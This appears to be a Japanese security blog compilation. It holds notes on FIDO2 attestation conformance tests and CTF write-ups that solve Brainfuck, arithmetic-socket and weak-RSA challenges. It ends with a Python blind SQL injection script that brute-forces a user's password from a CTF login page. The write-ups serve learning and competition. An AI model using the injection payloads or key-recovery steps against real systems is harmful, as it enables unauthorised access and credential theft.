    こちらのテストは中間証明書の期限が切れていないかどうか検証すれば良さそうです。検証方法をF-6と同様です。
const validateCertificatePath = (certificates) => {
...
    for (let i = 0; i < certificates.length - 1; i++) {
        const subjectPem = certificates[i];
        const subjectCert = new jsrsasign.X509();
        subjectCert.readCertPEM(subjectPem);

        const issuerPem = certificates[i + 1];
        const issuerCert = new jsrsasign.X509();
        issuerCert.readCertPEM(issuerPem);
        const notbefore = ldap2date.parse('20' + issuerCert.getNotBefore()).getTime();
        const notafter = ldap2date.parse('20' + issuerCert.getNotAfter()).getTime();
        const now = new Date().getTime();
        if (now < notbefore)
            throw new Error('Leaf certificate is not yet started!')

        if (notafter < now)
            throw new Error('Leaf certificate is expired!')
...

    }

    return true
}
  • F-13 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with signature that can not be verified by the public key extracted from leaf certificate, and check that server returns an error
    signatureの検証に関するテストのようです。
    証明書から取得した公開鍵で検証を行っていればこちらのテストはパスできそうです。
        const leafCert = base64ToPem(attestationStruct.attStmt.x5c[0].toString('base64'));
...
        response.verified = crypto.createVerify('sha256')
            .update(signatureBaseBuffer)
            .verify(leafCert, signatureBuffer);
  • F-14 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with signature that is generated using new credential private key, and not attestation batch private key, and check that server returns an error
    signatureの検証に関するテストのようです。
    検証に利用する公開鍵を正しく保存し、検証に利用していればこちらのテストはパスできそうです。

参考

令和CTF writeup

終結果はこんな感じでした。 f:id:kent056-n:20190501134732p:plain

フラグの例は? (10pt)

やるだけ。

bREInWAck (100pt)

以下、問題ファイルの中身。

令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

どうやらBrainfuckらしい。
他のBrainfuckのコードを参考に記号の出現頻度から適当に置換してみる。

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

あとは適当なインタプリタにいれてみる。
FLAGはSECCON{bREIn_WAnic!}でした。

零は? (100pt)

SECCON Beginnersでも同様の問題が出題されていたので参考にした。
頭悪い方法で解いた。一応タイムアウトせずに解き切ることに成功した。

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("zerois-o-reiwa.seccon.jp", 23615))

def read():
  t = ""
  while len(t)==0 or t[-1]!="\n":
    t += s.recv(1)
  return t[:-1]

for _ in range(100):
  print read()
  q = read()
  res = True
  i = 0
  while res:
    result = q.replace('?', str(i))
    print result
    rei, answer = result.split('=')
    if eval(answer) == 0:
      s.send("%s\n" % i)
      res = False
    else :
      i += 1

print s.recv(100)
print read()
print read()
print read()

出力結果はこんな感じ。

?=[100/100]
0=65+71-38*57-9+46*76+12-82*53*78+53-77+4-63*76*4-30+64-47*26+57-81*25+33-58*10+12-6+22*25*80-40+99-72*55+73*33+24-95*42-14+32+31*36-33-96+74*47+7*71-67+22*27-72-43+62*80*9-0+32-28*77+55+92-87*49*6-97+83*26+96-43-11+19*41-93*0+78-34*11+46+18-40*32+65-52*86+56-82*16*24+52-95*7+90-0*0-49+6+334404
?=
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.

UUT CTF writeup

はじめに

honaというチームで参加してました。
稼働としては、2人で半日くらいでした。最終結果は441チーム中112位だったぽいです。
一応Crypto全完しました。自分が取り組んだ問題について writeupを書きます。 f:id:kent056-n:20190429221758p:plain

Solve the Crypto (25pt)

以下、問題文。

Solve this Crypto and find the flag.

pub.keyとenc.messageが与えられる。とりあえず公開鍵の中身を確認する。

$ openssl rsa -text -pubin < pub.key
Public-Key: (1024 bit)
Modulus:
    00:e8:95:38:49:f1:1e:93:2e:91:27:af:35:e1:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:51:f8:eb:7d:05:56:e0:9f:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:fb:ad:55
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDolThJ8R6TLpEnrzXhAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABR+Ot9
BVbgn///////////////////////////////////////////////////////////
//////////////utVQIDAQAB
-----END PUBLIC KEY-----

以下のようにModulusをintに直してfactordbにぶち込んでみると素因数分解された。

modulus = int("00:e8:95:38:49:f1:1e:93:2e:91:27:af:35:e1:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:51:f8:eb:7d:05:56:e0:9f:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:fb:ad:55".replace(":", ""), 16)
print(modulus)

p、q、eから秘密鍵を導出する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
import binascii
import gmpy2

p = 12779877140635552275193974526927174906313992988726945426212616053383820179306398832891367199026816638983953765799977121840616466620283861630627224899026453
q  = 12779877140635552275193974526927174906313992988726945426212616053383820179306398832891367199026816638983953765799977121840616466620283861630627224899027521
e = 65537
n = p * q
d = lambda p, q, e: int(gmpy2.invert(e, (p-1)*(q-1)))
key = RSA.construct((n, e, d(p, q, e)))
print(key.exportKey())

最後に秘密鍵を使って復号する。なぜかbase64エンコードされていたので最後にデコードしておく。

$ cat enc.message | openssl rsautl -decrypt -inkey private.key | base64 -D
Hier_ist_deine_Flagge

FLAGはUUTCTF{Hier_ist_deine_Flagge}でおわり。

Break the RSA (50pt)

以下問題文。公開鍵と暗号文がわたされる。

Flag is the decryption of the following:

PublicKey= (114869651319530967114595389434126892905129957446815070167640244711056341561089,113)

CipherText=102692755691755898230412269602025019920938225158332080093559205660414585058354

とりあえず、factordbにぶち込んでみる。素因数分解された!
あとは適当に復号して終了。

from Crypto.Util.number import inverse
import binascii

p = 338924256021210389725168429375903627261
q = 338924256021210389725168429375903627349
N = p * q
c=102692755691755898230412269602025019920938225158332080093559205660414585058354
e = 113

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(binascii.unhexlify(hex(pow(c, d, N))[2:]).decode())

FLAGはUUTCTF{easy sH0Rt RSA!!!}でおわり。

Old CTF(web 190)

解けなかった。永遠に以下のようなコード書いてBlind SQLiしてた。
最終的にuserテーブルにuserというユーザーが存在し、userのパスワードがmd5でハッシュ化された123ということがわかったが何も意味はなかった。

import requests

count = 0
passlist = []
url = 'http://188.40.189.2:8004/login.php'

for i in range(1, 40):
    username = "user' and (SELECT length(password) FROM users WHERE username='user') = " + str(i) + "-- "
    password = "hoge"
    data = requests.post(url, {'username': username, 'password': password})

    if ("Incorrect" not in data.text) :
        print(username)
        print(data.text)
        break

    print("[*]Requests: ", i)
    print("[*]query: ", username)
    if ("admin" in data.text) :
        print('password length', i, '\n', data.text)
        count = i
        break

for j in range(1, count + 1):
    for k in range(33,127):
        name = "user' and substr((SELECT password FROM users WHERE username='user')," + str(j) + ",1)='" + chr(k) + "'-- "
        password = "hoge"
        print(name)
        data = requests.post(url, {'username': name, 'password': password})
        if ("admin" in data.text) :
            passlist.append(chr(k))
            print(chr(k))
            break

flag = ''
for i in passlist:
    flag += i
print(flag)

おわりに

factordb最強!!